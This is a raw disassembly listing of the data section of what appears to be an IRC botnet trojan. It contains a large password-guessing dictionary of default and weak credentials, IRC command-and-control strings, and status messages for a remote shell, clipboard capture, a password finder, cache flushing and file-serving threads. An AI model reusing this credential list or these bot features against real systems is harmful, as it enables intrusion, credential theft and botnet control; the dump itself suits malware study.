4 aAnfo db 'anfo',0 ; DATA XREF: ___:0042FAE8o align 4 aAndy db 'andy',0 ; DATA XREF: ___:0042FAE4o align 4 aAndromac db 'andromac',0 ; DATA XREF: ___:0042FAE0o align 4 aAndroid db 'android',0 ; DATA XREF: ___:0042FADCo aAndrea db 'andrea',0 ; DATA XREF: ___:0042FAD8o align 4 aAnchor db 'anchor',0 ; DATA XREF: ___:0042FAD4o align 10h aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042FAD0o aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042FACCo align 4 aAnalog db 'analog',0 ; DATA XREF: ___:0042FAC8o align 4 aAnal db 'anal',0 ; DATA XREF: ___:0042FAC4o align 4 aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042FAC0o align 10h aAmerica db 'america',0 ; DATA XREF: ___:0042FABCo aAmber db 'amber',0 ; DATA XREF: ___:0042FAB8o align 10h aAmanda db 'amanda',0 ; DATA XREF: ___:0042FAB4o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042FAB0o aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042FAACo align 4 aAllow db 'allow',0 ; DATA XREF: ___:0042FAA8o align 4 aAllison db 'allison',0 ; DATA XREF: ___:0042FAA4o aAlison db 'alison',0 ; DATA XREF: ___:0042FAA0o align 4 aAlisa db 'alisa',0 ; DATA XREF: ___:0042FA9Co align 4 aAlicia db 'alicia',0 ; DATA XREF: ___:0042FA98o align 4 aAlice db 'alice',0 ; DATA XREF: ___:0042FA94o align 4 aAliases db 'aliases',0 ; DATA XREF: ___:0042FA90o aAlias db 'alias',0 ; DATA XREF: ___:0042FA8Co align 4 aAlgebra db 'algebra',0 ; DATA XREF: ___:0042FA88o aAlexande db 'alexande',0 ; DATA XREF: ___:0042FA84o align 10h aAlex db 'alex',0 ; DATA XREF: ___:0042FA80o align 4 aAlert db 'alert',0 ; DATA XREF: ___:0042FA7Co align 10h aAlbert db 'albert',0 ; DATA XREF: ___:0042FA78o align 4 aAlbatros db 'albatros',0 ; DATA XREF: ___:0042FA74o align 4 aAlbany db 'albany',0 ; DATA XREF: ___:0042FA70o align 4 aAlaska db 'alaska',0 ; DATA XREF: ___:0042FA6Co align 4 aAirplane db 'airplane',0 ; DATA XREF: ___:0042FA68o align 10h aAids db 'aids',0 ; DATA XREF: ___:0042FA64o align 4 aAerobics db 'aerobics',0 ; DATA XREF: ___:0042FA60o align 4 aAdult db 'adult',0 ; DATA XREF: ___:0042FA5Co align 4 aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042FA58o align 4 aAdrian db 'adrian',0 ; DATA XREF: ___:0042FA54o align 10h aAdam db 'adam',0 ; DATA XREF: ___:0042FA50o align 4 aAction db 'action',0 ; DATA XREF: ___:0042FA4Co align 10h aAccount db 'account',0 ; DATA XREF: ___:0042FA48o aAcademic db 'academic',0 ; DATA XREF: ___:0042FA40o align 4 aAcademia db 'academia',0 ; DATA XREF: ___:0042FA3Co align 10h a000000 db '000000',0 ; DATA XREF: ___:0042FA38o align 4 a00000 db '00000',0 ; DATA XREF: ___:0042FA34o align 10h a0000 db '0000',0 ; DATA XREF: ___:0042FA30o align 4 a000 db '000',0 ; DATA XREF: ___:0042FA2Co aTesting db 'testing',0 ; DATA XREF: ___:0042FA28o aDeath db 'death',0 ; DATA XREF: ___:0042FA24o align 4 a00 db '00',0 ; DATA XREF: ___:0042FA20o align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042FA18o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042FA14o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042FA10o aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042FA0Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042FA08o align 10h aXxxx db 'xxxx',0 ; DATA XREF: ___:0042FA04o align 4 aXxx db 'xxx',0 ; DATA XREF: ___:0042FA00o aXx db 'xx',0 ; DATA XREF: ___:0042F9FCo align 10h asc_434C30: ; DATA XREF: ___:0042F9F8o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: ___:0042F9F4o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F9F0o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F9ECo align 4 aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F9E8o align 4 aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F9E4o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F9E0o align 4 aScript db 'script',0 ; DATA XREF: ___:0042F9DCo align 4 aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F9D8o align 4 aHacker db 'hacker',0 ; DATA XREF: ___:0042F9D4o align 4 aL337 db 'l337',0 ; DATA XREF: ___:0042F9D0o align 4 aL33t db 'l33t',0 ; DATA XREF: ___:0042F9CCo align 4 aLeet db 'leet',0 ; DATA XREF: ___:0042F9C8o align 4 aKiller db 'killer',0 ; DATA XREF: ___:0042F9C4o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F9C0o align 4 aW00t db 'w00t',0 ; DATA XREF: ___:0042F9BCo align 4 aHeaven db 'heaven',0 ; DATA XREF: ___:0042F9B8o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F9B4o align 4 aSatanic db 'satanic',0 ; DATA XREF: ___:0042F9B0o aSatanik db 'satanik',0 ; DATA XREF: ___:0042F9ACo aSatan db 'satan',0 ; DATA XREF: ___:0042F9A8o align 10h aGobo db 'gobo',0 ; DATA XREF: ___:0042F9A4o align 4 aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F9A0o aMatt db 'Matt',0 ; DATA XREF: ___:0042F99Co align 4 aMat db 'Mat',0 ; DATA XREF: ___:0042F998o aPw db 'pw',0 ; DATA XREF: ___:0042F994o align 10h aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F990o align 4 aMypass db 'mypass',0 ; DATA XREF: ___:0042F98Co align 4 aPw123 db 'pw123',0 ; DATA XREF: ___:0042F988o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F984o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F980o aMypc db 'mypc',0 ; DATA XREF: ___:0042F97Co align 4 aLove db 'love',0 ; DATA XREF: ___:0042F978o align 10h aPwd db 'pwd',0 ; DATA XREF: ___:0042F974o aLogin db 'login',0 ; DATA XREF: ___:0042F970o align 4 aHome db 'home',0 ; DATA XREF: ___:0042F96Co align 4 aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F968o align 4 aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F964o align 4 aQwer db 'qwer',0 ; DATA XREF: ___:0042F960o align 4 aSecret db 'secret',0 ; DATA XREF: ___:0042F95Co align 4 aAsdf db 'asdf',0 ; DATA XREF: ___:0042F958o align 4 aPc db 'pc',0 ; DATA XREF: ___:0042F954o align 10h aWin db 'win',0 ; DATA XREF: ___:0042F950o aTest123 db 'test123',0 ; DATA XREF: ___:0042F94Co aAbc db 'abc',0 ; DATA XREF: ___:0042F948o aAaa db 'aaa',0 ; DATA XREF: ___:0042F944o aA_1: ; DATA XREF: ___:0042F940o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: ___:0042F93Co align 10h aFucked db 'fucked',0 ; DATA XREF: ___:0042F938o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F934o aIrule db 'irule',0 ; DATA XREF: ___:0042F930o align 4 aOwned db 'owned',0 ; DATA XREF: ___:0042F92Co align 10h a0wned db '0wned',0 ; DATA XREF: ___:0042F928o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F924o align 4 aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F920o align 10h aDevil db 'devil',0 ; DATA XREF: ___:0042F91Co align 4 aNilez db 'Nilez',0 ; DATA XREF: ___:0042F918o align 10h aFoobar db 'foobar',0 ; DATA XREF: ___:0042F914o align 4 aGod db 'god',0 ; DATA XREF: ___:0042F910o aSex db 'sex',0 ; DATA XREF: ___:0042F90Co aPat db 'pat',0 ; DATA XREF: ___:0042F908o aPatrick db 'patrick',0 ; DATA XREF: ___:0042F904o aAlpha db 'alpha',0 ; DATA XREF: ___:0042F900o align 4 a007 db '007',0 ; DATA XREF: ___:0042F8FCo a123abc db '123abc',0 ; DATA XREF: ___:0042F8F8o align 10h a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F8F4o align 4 a123123 db '123123',0 ; DATA XREF: ___:0042F8F0o align 4 a121212 db '121212',0 ; DATA XREF: ___:0042F8ECo align 4 a111111 db '111111',0 ; DATA XREF: ___:0042F8E8o align 4 a110 db '110',0 ; DATA XREF: ___:0042F8E4o a2600 db '2600',0 ; DATA XREF: ___:0042F8E0o align 10h a2002 db '2002',0 ; DATA XREF: ___:0042F8D8o align 4 aXp_0 db 'xp',0 ; DATA XREF: ___:0042F8D4o align 4 aEnable db 'enable',0 ; DATA XREF: ___:0042F8D0o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F8CCo aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F8C8o a123asd db '123asd',0 ; DATA XREF: ___:0042F8C4o align 4 aSuper db 'super',0 ; DATA XREF: ___:0042F8C0o align 4 aInternet db 'Internet',0 ; DATA XREF: ___:0042F8BCo align 4 a123qwe db '123qwe',0 ; DATA XREF: ___:0042F8B4o align 10h aSybase db 'sybase',0 ; DATA XREF: ___:0042F8B0o align 4 aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F8A8o align 10h aAbcd db 'abcd',0 ; DATA XREF: ___:0042F8A4o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:0042F89Co align 10h aPass_0 db 'pass',0 ; DATA XREF: ___:0042F898o align 4 a88888888 db '88888888',0 ; DATA XREF: ___:0042F894o align 4 a11111111 db '11111111',0 ; DATA XREF: ___:0042F890o align 10h a111 db '111',0 ; DATA XREF: ___:0042F88Co a54321 db '54321',0 ; DATA XREF: ___:0042F888o align 4 a654321 db '654321',0 ; DATA XREF: ___:0042F884o align 4 a123456789 db '123456789',0 ; DATA XREF: ___:0042F880o align 10h a12345678 db '12345678',0 ; DATA XREF: ___:0042F87Co align 4 a1234567 db '1234567',0 ; DATA XREF: ___:0042F878o a123456 db '123456',0 ; DATA XREF: ___:0042F874o align 4 a12345 db '12345',0 ; DATA XREF: ___:0042F870o align 4 a1234 db '1234',0 ; DATA XREF: ___:0042F86Co align 4 a123 db '123',0 ; DATA XREF: ___:0042F868o a12 db '12',0 ; DATA XREF: ___:0042F864o align 4 a1: ; DATA XREF: ___:0042F860o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: ___:0042F85Co aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042F858o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042F854o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042F850o align 10h aUnix db 'unix',0 ; DATA XREF: ___:0042F84Co align 4 aLocal db 'LOCAL',0 ; DATA XREF: ___:0042F848o align 10h aPepsi db 'pepsi',0 ; DATA XREF: ___:0042F844o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042F840o align 10h aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042F83Co align 4 aBackup db 'BACKUP',0 ; DATA XREF: ___:0042F838o align 10h aAccess db 'ACCESS',0 ; DATA XREF: ___:0042F830o align 4 aTest db 'TEST',0 ; DATA XREF: ___:0042F82Co align 10h aEdu db 'edu',0 ; DATA XREF: ___:0042F828o aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042F824o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042F820o align 4 aDemo db 'DEMO',0 ; DATA XREF: ___:0042F81Co align 4 aFiles db 'FILES',0 ; DATA XREF: ___:0042F818o align 4 aRead db 'READ',0 ; DATA XREF: ___:0042F814o align 4 aBoth db 'BOTH',0 ; DATA XREF: ___:0042F810o align 4 aLadeda db 'ladeda',0 ; DATA XREF: ___:0042F80Co align 4 aFull_0 db 'FULL',0 ; DATA XREF: ___:0042F808o align 4 aWrite db 'WRITE',0 ; DATA XREF: ___:0042F804o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042F800o align 4 aTemp db 'TEMP',0 ; DATA XREF: ___:0042F7FCo align 4 aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042F7F8o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042F7F4o align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042F7ECo align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042F7E8o align 10h aBla db 'bla',0 ; DATA XREF: ___:0042F7E4o aFubar db 'fubar',0 ; DATA XREF: ___:0042F7E0o align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F7D4o align 4 aDb2 db 'db2',0 ; DATA XREF: ___:0042F7C4o aOracle db 'oracle',0 ; DATA XREF: ___:0042F7C0o ; ___:0042F8ACo align 4 aDba db 'dba',0 ; DATA XREF: ___:0042F7BCo aDatabase db 'database',0 ; DATA XREF: ___:0042F7B8o ; ___:0042F8A0o align 4 aDefault db 'default',0 ; DATA XREF: ___:0042F7B4o ; ___:0042FF40o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042F7B0o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042F7ACo align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:0042F7A8o ; ___:00430ED4o aStudent db 'student',0 ; DATA XREF: ___:0042F7A4o ; ___:00430E1Co aOwner db 'owner',0 ; DATA XREF: ___:0042F7A0o align 4 aComputer db 'computer',0 ; DATA XREF: ___:0042F79Co ; ___:0042F8B8o align 4 aRoot db 'root',0 ; DATA XREF: ___:0042F798o ; ___:0042F7F0o align 10h aStaff db 'staff',0 ; DATA XREF: ___:0042F794o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:0042F790o align 10h aAdmins db 'admins',0 ; DATA XREF: ___:0042F78Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:0042F788o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042F784o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:0042F780o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042F77Co ; ___:0042F7DCo align 4 aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6CCo a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C8o dword_43511C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: ___:0040E9FBo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_435144 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o dword_435150 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB92+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Ao align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6262o align 4 dword_4351C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6255o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_4351F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6238o dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_435220 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+61D7o dd 2BBBB02h, 462A2020h, 656C6961h, 6F682064h, 61207473h db 75h aThBySS_ db 'th by: (%s!%s).',0 ; DATA XREF: ___:off_4274DCo align 4 dword_43525C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6170o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+615Eo ; sub_40EE72+61C5o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6147o ; sub_40EE72+61AEo align 4 asc_4352E4: ; DATA XREF: sub_40EE72+6117o unicode 0, <~>,0 dword_4352E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+60C7o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_43531C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6013o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_435358 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+6008o dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_435394 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5FB3o dd 2BBBB02h, 73252020h, 0 unk_4353B4 db 2 ; DATA XREF: sub_40EE72+5F89o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 10h dword_435400 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE72+5F13o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE72+5F0Do align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40EE72+5F06o align 10h aSec db 'sec',0 ; DATA XREF: sub_40EE72+5EABo aSecure db 'secure',0 ; DATA XREF: sub_40EE72+5E9Ao align 4 unk_43544C db 2 ; DATA XREF: sub_40EE72+5E8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_435494 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Do dword_4354A4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D68o dword_4354B0 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D55o dword_4354BC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE72+5D50o dword_4354CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D1Do dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B82o align 4 dword_43550C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5CFBo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B60o align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC6o align 4 dword_43555C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C74o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_435598 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5C60o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_4355C0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5C3Bo dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_435608 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+5BD0o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_435634 dd 627573h ; DATA XREF: sub_40EE72+5BAAo dword_435638 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B5Bo dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_435660 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5B40o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_4356A8 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5AD1o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_4356D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A34o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_4356F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5A02o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_435720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+59ADo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_435748 db 2 ; DATA XREF: sub_40EE72+599Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_435798 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE72+592Bo dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EE72+590Bo align 10h unk_4357D0 db 2 ; DATA XREF: sub_40EE72+58B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_435804 db 2 ; DATA XREF: sub_40EE72+5891o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_435834 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5848o dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_43585C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F7o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_43588C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+577Eo dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_4358C4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5762o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4358FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5744o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5716o align 4 unk_43593C db 2 ; DATA XREF: sub_40EE72:loc_414578o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_435978 db 2 ; DATA XREF: sub_40EE72+56EBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_4359AC db 2 ; DATA XREF: sub_40EE72:loc_41454Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_4359E8 db 2 ; DATA XREF: sub_40EE72:loc_414546o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_435A24 db 2 ; DATA XREF: sub_40EE72+56CDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_435A58 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Do dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 4 dword_435AA4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F2o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 10h unk_435AF0 db 2 ; DATA XREF: sub_40EE72+5526o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_435B38 db 2 ; DATA XREF: sub_40EE72+53B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_435B80 db 2 ; DATA XREF: sub_40EE72+5285o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_435BAC db 2 ; DATA XREF: sub_40EE72+526Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_435BF8 db 2 